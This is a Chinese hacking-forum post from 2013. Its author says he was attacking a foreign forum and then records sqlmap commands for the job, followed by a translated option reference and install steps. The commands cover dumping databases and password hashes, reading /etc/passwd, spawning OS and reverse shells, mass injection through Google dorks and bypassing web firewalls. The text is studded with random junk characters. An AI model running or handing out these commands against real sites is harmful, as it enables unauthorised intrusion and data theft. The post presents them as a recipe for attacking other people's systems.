找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2766|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、9 k- ]0 U7 o6 d0 j
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称0 u! q$ m! {# j( t. B# }
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
& b7 d0 s. }6 I2 W' {1 jsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段6 p9 O# b! Z, }7 X8 M. Q8 x' ~
9 ]" H1 ^3 L) n" X) R3 K
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
# g( t5 T- M/ Y+ `+ a0 #获取字段内容
3 t9 {$ T0 ?" Q ) f! K. h" a3 H2 H+ x; g8 y
******************信息获取******************
3 |7 A4 V- _% {4 n8 ysqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型3 C3 _& k8 S8 q% O
sqlmap -u “http://url/news?id=1″ –users #列数据库用户! [& p' O7 v  P% P+ Y
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
7 V, X# p8 B9 |/ J! w! ^9 y6 G+ Zsqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
; N" K/ E) @4 U1 hsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码8 U# h7 x! @( k. H- P
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”; F, F" s; k: g9 ?7 E/ |! O
–start 1 –stop 20 #列出指定字段,列出20 条
& D' H. ]; ?* w% Q# }* ~sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
5 R1 P4 o3 `* Y8 W$ D6 v( Nsqlmap -u “http://url/news?id=1″ –privileges #查看权限
( r- l6 p" d7 G& L1 a3 d% A5 _sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色! A, `0 J4 d5 y- ^! w' P
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
, I" [& S/ A* L* |4 f1 [8 csqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表, ]; N) y9 f& c* r0 k+ g! K) l
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
8 _  c5 A- [/ n; F- _: }7 wsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
  L+ M/ [- B3 c9 v& Dsqlmap -u “http://url/news?id=1″-b #获取banner信息* I' x; h3 p8 v- |9 }) k' E6 e
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入' b$ g) V* V7 r/ ]8 L- Y
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
7 h& M4 W% Y: a& H: Y4 i0 Zsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入) A( h. Q( L# x) R4 X+ T" b; s
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词: W, z! r" O$ T, a" }
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
/ W: Y( \$ h& g, M/ psqlmap -u “http://url/news?id=1″ –file /etc/passwd
( X2 {! r2 [2 y7 f3 x  S9 E! bsqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
' _/ ~/ E' I* E4 C% psqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell7 [' }! V- g  U' |4 X1 u1 T
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表# R3 W6 x) N' r1 v; N
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度! T( }  A) G9 q6 v
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度' V. K5 B1 D" Y3 ]( h/ v6 I4 Z
***********高级用法*************
! k+ K0 `. a6 U' u' ~* X8 Z+ V-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入. |* y% Z4 M+ s4 Q- e' Y' h
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
1 G' H: P  P! f0 d: W–technique   测试指定注入类型\使用的技术
! z& Z! [, H! H不加参数默认测试所有注入技术
* d4 r) {, j: u0 B' k  x) ^7 g6 `•     B: 基于布尔的SQL 盲注
& u5 L2 @2 J8 t% X4 t  D•     E: 基于显错sql 注入" `4 u8 S1 Z2 q1 b
•     U: 基于UNION 注入% L. ^+ F$ t3 Z7 m* ^5 R
•     S: 叠层sql 注入
  B5 ^) Z9 X! P( W5 f5 Y+ c•     T: 基于时间盲注# |0 w: A- D1 |9 f7 F. t; a, w4 d# q
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
- l" ~0 b5 U/ P9 K–tamper 插件所在目录
5 L8 ?) N# H6 O& a) b  P) L\sqlmap-dev\tamper
' A1 X+ b2 v( wsqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能; \9 k2 ~6 M: u/ _! i* t" q
level 执行测试等级 攻击实例:
" Z: H1 [. T2 L4 L9 W" d! ~% O# lSqlmap -u “http://url/news?id=1&Submit=Submit”1 m; ~2 ]% W* ?  n0 M! I
–cookie=”PHPSESSID=41aa833e6d0d
. V( U8 }, N1 e2 e" t; \+ p8 y28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user; V" }8 G1 \7 o% D- ?1 t
–password
% V$ t  O3 A' d0 n0 J  b% m参考文档:http://sqlmap.sourceforge.net/doc/README.html
# ~$ j6 ?" K7 k+ @7 o) D***********安装最新版本*************
' c3 d+ ^1 q6 ?* fubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
- ^7 g  U& Q! B& [( psudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
8 _8 D, d. }$ G6 x/ T- C安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件7 m( M4 K. A8 X
sudo vim /home/当前用户/.bashrc/ Z0 a0 j5 }& p' W  W& I2 b& U
#任意位置加上:
1 S9 L. j( t5 l, u; u# Walias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
5 X9 a% [9 a, X/ U/ i( Z  L; Q如果想对所有用户有效 可设置全局 编辑下面的文件6 }1 `6 K. M+ _' T# O4 c+ ?- T! n; Z
vim /etc/profile9 S2 e9 i3 a6 _1 ~2 S) r
同样加上:
# K: L, U3 Q# t4 {$ Talias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
+ y# s) ]( o1 b) F# o******************windows 7 (x64) sqlmap install (SVN)************4 W. N. U  O; n+ v
http://www.python.org/getit/ 安装python9 d+ E$ p# Y! ~5 k) {) J- X+ V- v, t/ ]
http://www.sliksvn.com/en/download 安装windows svn client* d+ _" F5 k5 t1 ^8 z6 w9 |
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev9 E7 v, X* s6 a
安装sqlmap% W- ]/ J% T6 {
*修改环境变量
) r, m! V$ a% i0 t" ?# [$ Z# q–version             显示程序的版本号并退出5 a( _$ I! w1 ?
-h, –help            显示此帮助消息并退出
( Z1 e; M4 d- ^% A1 B& x-v VERBOSE            详细级别:0-6(默认为1)/ M/ [$ F% h% S6 D& k) d) Q
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。8 y: r7 X1 |4 ~/ o4 @+ N
-d DIRECT           直接连接到数据库。# v7 f9 H2 `9 x% x+ I
-u URL, –url=URL   目标URL。
$ r8 `' h* B6 O, Z8 Q-l LIST             从Burp 或WebScarab 代理的日志中解析目标。+ ~8 }, X; f5 S' p2 }
-r REQUESTFILE      从一个文件中载入HTTP 请求。3 F/ e8 y0 `% r
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
' W2 ^# `( D9 _! ^4 f2 ]$ |5 F: T-c CONFIGFILE       从INI 配置文件中加载选项。
0 a3 _. q# L6 z( D5 ERequest(请求)::
1 v6 r3 i/ ~& [; W7 O: F9 S4 r这些选项可以用来指定如何连接到目标URL。
; T. ?" R4 Y, T1 p3 C/ }–data=DATA         通过POST 发送的数据字符串9 ]' [3 @( r2 ]+ x# q' _5 R/ \: B0 `
–cookie=COOKIE     HTTP Cookie 头
2 }$ j7 k! Y1 Y' A4 U–cookie-urlencode  URL 编码生成的cookie 注入
1 H& s3 I6 R9 C. ~–drop-set-cookie   忽略响应的Set –Cookie 头信息
- O) |+ q$ L% ~- g 2 K$ b2 ]( y& ?& _* t3 |) T1 x$ m
–user-agent=AGENT  指定  HTTP User –Agent 头8 Z$ L0 C2 s7 ~# z2 n
–random-agent      使用随机选定的HTTP User –Agent 头
! @0 u% G* R0 T1 O* Z1 @. V  Y& B–referer=REFERER   指定  HTTP Referer 头% x2 R+ [* E4 T0 ^) f! R2 V
–headers=HEADERS   换行分开,加入其他的HTTP 头7 K1 [3 i: i9 C8 p$ s. U! \1 C/ x
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
8 O( f0 l. i& q5 P' A0 d3 ]–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
1 @  a5 G& M3 B2 [# K3 Z/ f–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
5 n. L* ^: w' ^0 k6 `: P–proxy=PROXY       使用HTTP 代理连接到目标URL# J' N; h  G3 L0 O5 f5 A
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
! k$ [, [& K. x7 {" F2 W7 T–ignore-proxy      忽略系统默认的HTTP 代理2 C, R6 \" j2 a
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒* O; Z3 Z. Q, k: Q# t" \
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒). h" Y2 j5 @' I  ^. C
–retries=RETRIES   连接超时后重新连接的时间(默认3)
8 ^) \3 `" d) W: `–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
' A2 z; S+ V; Z# Q  ?–safe-url=SAFURL   在测试过程中经常访问的url 地址/ c6 [" b7 h/ ^5 c$ _
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL# q- T  O' s1 l$ C% q  B
Optimization(优化): 这些选项可用于优化SqlMap 的性能。/ F  \$ n8 ^1 i5 Q7 o
-o                  开启所有优化开关& p) [( t# B( U3 W8 u+ E- |
–predict-output    预测常见的查询输出, _& e8 T; x( u7 n; @! O( H, B2 @
–keep-alive        使用持久的HTTP(S)连接: W$ Z* A9 S8 h
–null-connection   从没有实际的HTTP 响应体中检索页面长度2 c  P( i9 b1 l/ i* S& Y
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)" C+ T+ i: D- O! A- V4 t
Injection(注入):
& K! ~' G: X' l这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。! ?* v# ~: S$ p7 v* a& {" d
-p TESTPARAMETER    可测试的参数(S)
! D( N& h& V0 _% O2 x4 V–dbms=DBMS         强制后端的DBMS 为此值: n$ K& `& ?& l, R; z0 A
–os=OS             强制后端的DBMS 操作系统为这个值2 [" q; d5 ?/ k5 W* p) o- M" q3 F: W$ Z; @
–prefix=PREFIX     注入payload 字符串前缀8 T6 F0 H1 V3 k' O
–suffix=SUFFIX     注入 payload 字符串后缀' u/ [0 |# M4 F/ V1 i1 w
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
$ Z& n9 ~4 L8 ^: ]% z* x( {Detection(检测):( v6 \# I) x& |0 j! G
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。& R9 C3 K( j5 c7 m5 R
–level=LEVEL       执行测试的等级(1-5,默认为1)
: T8 X/ F1 p6 ]* L( e$ S: `2 t0 x–risk=RISK         执行测试的风险(0-3,默认为1)- H7 F6 S3 L- T; x9 b- G$ P
–string=STRING     查询时有效时在页面匹配字符串
- [2 ~% a, t0 E6 L) ]–regexp=REGEXP     查询时有效时在页面匹配正则表达式
( w, c3 z/ Y. o; W, t0 N–text-only         仅基于在文本内容比较网页6 g3 @  A" Q2 z+ r
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
. c  s$ C6 v! Y  P% s! E–technique=TECH    SQL 注入技术测试(默认BEUST)
+ `1 ]+ E3 c! O–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
3 Q# I/ T$ ]7 K) l) v$ y2 _; w4 _–union-cols=UCOLS  定列范围用于测试UNION 查询注入+ y2 L, f" w( I$ M6 w
–union-char=UCHAR  用于暴力猜解列数的字符
$ x5 S5 `" w! B0 P& n! DFingerprint(指纹):0 E3 i. _0 ^4 }, T3 N' k
-f, –fingerprint     执行检查广泛的DBMS 版本指纹
6 Q7 P- Z0 \% E  [. EEnumeration(枚举):0 `7 Q! A% \  I' _) G6 g
3 F* p0 q+ w  b' a8 C, R* [: s
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。/ J5 p3 ?: ^$ F# ?; W
-b, –banner        检索数据库管理系统的标识
  B4 U5 a2 R" x# T) C/ D% _–current-user      检索数据库管理系统当前用户
( H8 Y/ G% R/ J' a- |7 F–current-db        检索数据库管理系统当前数据库6 `3 y! H6 T: K: l+ Y9 {- }7 Q* G
–is-dba            检测DBMS 当前用户是否DBA
5 J; u, [( q* }& S: O–users             枚举数据库管理系统用户7 ]3 g' t8 n& D2 k% |( f% \8 k
–passwords         枚举数据库管理系统用户密码哈希" J" x% p" Y1 h  m- _
–privileges        枚举数据库管理系统用户的权限/ e/ q3 l% t7 b6 O  y: S7 g, I8 P
–roles             枚举数据库管理系统用户的角色
/ L/ g* S1 D( i* B–dbs               枚举数据库管理系统数据库& N! j0 r- ~2 c7 i# C1 G* I' T
–tables            枚举的DBMS 数据库中的表
3 l. h* C& ]) G, m, B0 Z–columns           枚举DBMS 数据库表列8 D7 J/ a- L- b# n( `0 b  o% M
–dump              转储数据库管理系统的数据库中的表项
2 |  K0 L8 a2 ?4 |* ^8 Z–dump-all          转储所有的DBMS 数据库表中的条目
' H# I% H9 {- \3 p! w  \8 D9 _3 T–search            搜索列(S),表(S)和/或数据库名称(S)
8 x2 O/ S" V$ L-D DB               要进行枚举的数据库名% l0 g, N9 ~9 C% [! ^! a8 a" o% y& ]
-T TBL              要进行枚举的数据库表, l4 C, X( F: E  F3 c/ a3 j4 J
-C COL              要进行枚举的数据库列, x. H. l1 ^% ~( }
-U USER             用来进行枚举的数据库用户
2 r7 a: m/ W$ n" O4 g  U; a+ r–exclude-sysdbs    枚举表时排除系统数据库
$ w( {% I' ~# S' t+ M–start=LIMITSTART  第一个查询输出进入检索0 v  h2 P- M' ^/ ^3 h
–stop=LIMITSTOP    最后查询的输出进入检索/ H1 N5 g0 u9 o( z- K
–first=FIRSTCHAR   第一个查询输出字的字符检索
8 `3 w! O$ _+ Q1 A4 d$ X4 p–last=LASTCHAR     最后查询的输出字字符检索
$ g, g( K- n; {; Y8 A–sql-query=QUERY   要执行的SQL 语句
7 Y2 _- i2 E  r% e; f; Z$ W/ F–sql-shell         提示交互式SQL 的shell
+ A! A$ `7 k, Z9 A, dBrute force(蛮力): 这些选项可以被用来运行蛮力检查。
* M5 u* N6 A6 A" d" f2 ?& W: h–common-tables     检查存在共同表
0 h& J' [9 d& J; N" n–common-columns    检查存在共同列+ ^% p3 s+ A2 x. c
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。# x6 V/ J$ }& b* S: T( S
–udf-inject        注入用户自定义函数
% N6 n4 G- Z- ~1 X; |7 r–shared-lib=SHLIB  共享库的本地路径  t7 v7 ]0 C9 @7 A1 D' N" I
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
. D$ ?: M- o; x9 G8 [5 F–file-read=RFILE   从后端的数据库管理系统文件系统读取文件0 P8 ^2 i: j0 ?2 n! H/ {
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
9 p8 i0 e' G& _3 G- ?2 u/ M% A* _–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
1 B8 }* l/ y% X* A% WOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
; ?' n0 v: i! X# p–os-cmd=OSCMD      执行操作系统命令: }2 D1 C% t" Z) u  M! Q
–os-shell          交互式的操作系统的shell
, C" E1 s- G3 U6 h  V! l–os-pwn            获取一个OOB shell,meterpreter 或VNC9 n2 S5 b$ ~$ C
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
0 H7 `7 Y* J+ t- _9 i* ^–os-bof            存储过程缓冲区溢出利用
/ s, T3 U/ F1 o% |" X; E–priv-esc          数据库进程用户权限提升
# B2 S( H+ K/ J–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
# k0 j* h% j+ Q$ o" T7 R–tmp-path=TMPPATH  远程临时文件目录的绝对路径
$ p; A' ]0 x# j! j: y9 D - g/ f& E1 S' H* X& D1 |
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。" A2 h  U( e; Y- [  v
–reg-read          读一个Windows 注册表项值. t5 m8 K- y! |! y
–reg-add           写一个Windows 注册表项值数据
3 o' a- p9 C, R$ x+ L–reg-del           删除Windows 注册表键值  o5 P- `; d3 l
–reg-key=REGKEY    Windows 注册表键) J' T$ G' R& P
–reg-value=REGVAL  Windows 注册表项值
- P8 O3 N( `: z1 E) B–reg-data=REGDATA  Windows 注册表键值数据2 s) n8 M. X0 W# G2 A, @! t
–reg-type=REGTYPE  Windows 注册表项值类型
" N8 `+ U5 ~. g, Z. |% HGeneral(一般): 这些选项可以用来设置一些一般的工作参数。
" l7 Q. [3 w% W  J-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中' u" U: V0 p3 {$ E% y3 [' b
-s SESSIONFILE      保存和恢复检索会话文件的所有数据
2 L0 Q' U1 T1 G+ x& d$ Q) E–flush-session     刷新当前目标的会话文件/ v$ @* i. K0 G( b) `5 Y4 O6 h
–fresh-queries     忽略在会话文件中存储的查询结果
9 A& f8 n7 X! q/ K8 }" J, i–eta               显示每个输出的预计到达时间
3 a. D" R+ B* R' v–update            更新SqlMap  j8 s4 }% J6 R6 ]8 `
–save              file 保存选项到INI 配置文件
8 J- s# t: ]# N* Z+ N–batch             从不询问用户输入,使用所有默认配置。
$ }0 Y* V+ U* w5 m4 _Miscellaneous(杂项):
9 u6 O4 Q9 g: S* p–beep              发现SQL 注入时提醒9 k3 s2 K3 p  Y+ Q
–check-payload     IDS 对注入payloads 的检测测试% a' }. L+ Q. Z% x
–cleanup           SqlMap 具体的UDF 和表清理DBMS( a6 u3 o* N2 s- U8 l
–forms             对目标URL 的解析和测试形式- _6 _$ d/ c* k+ ?' @. V
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
, l6 N- G0 F) d5 `; q8 F–page-rank         Google dork 结果显示网页排名(PR)& [" Z% o$ B" f' v/ X" v
–parse-errors      从响应页面解析数据库管理系统的错误消息1 |" R  F9 S$ U+ f8 I
–replicate         复制转储的数据到一个sqlite3 数据库
. W: }: ^5 R9 ~+ s–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址5 n+ x: V: f3 \1 K
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表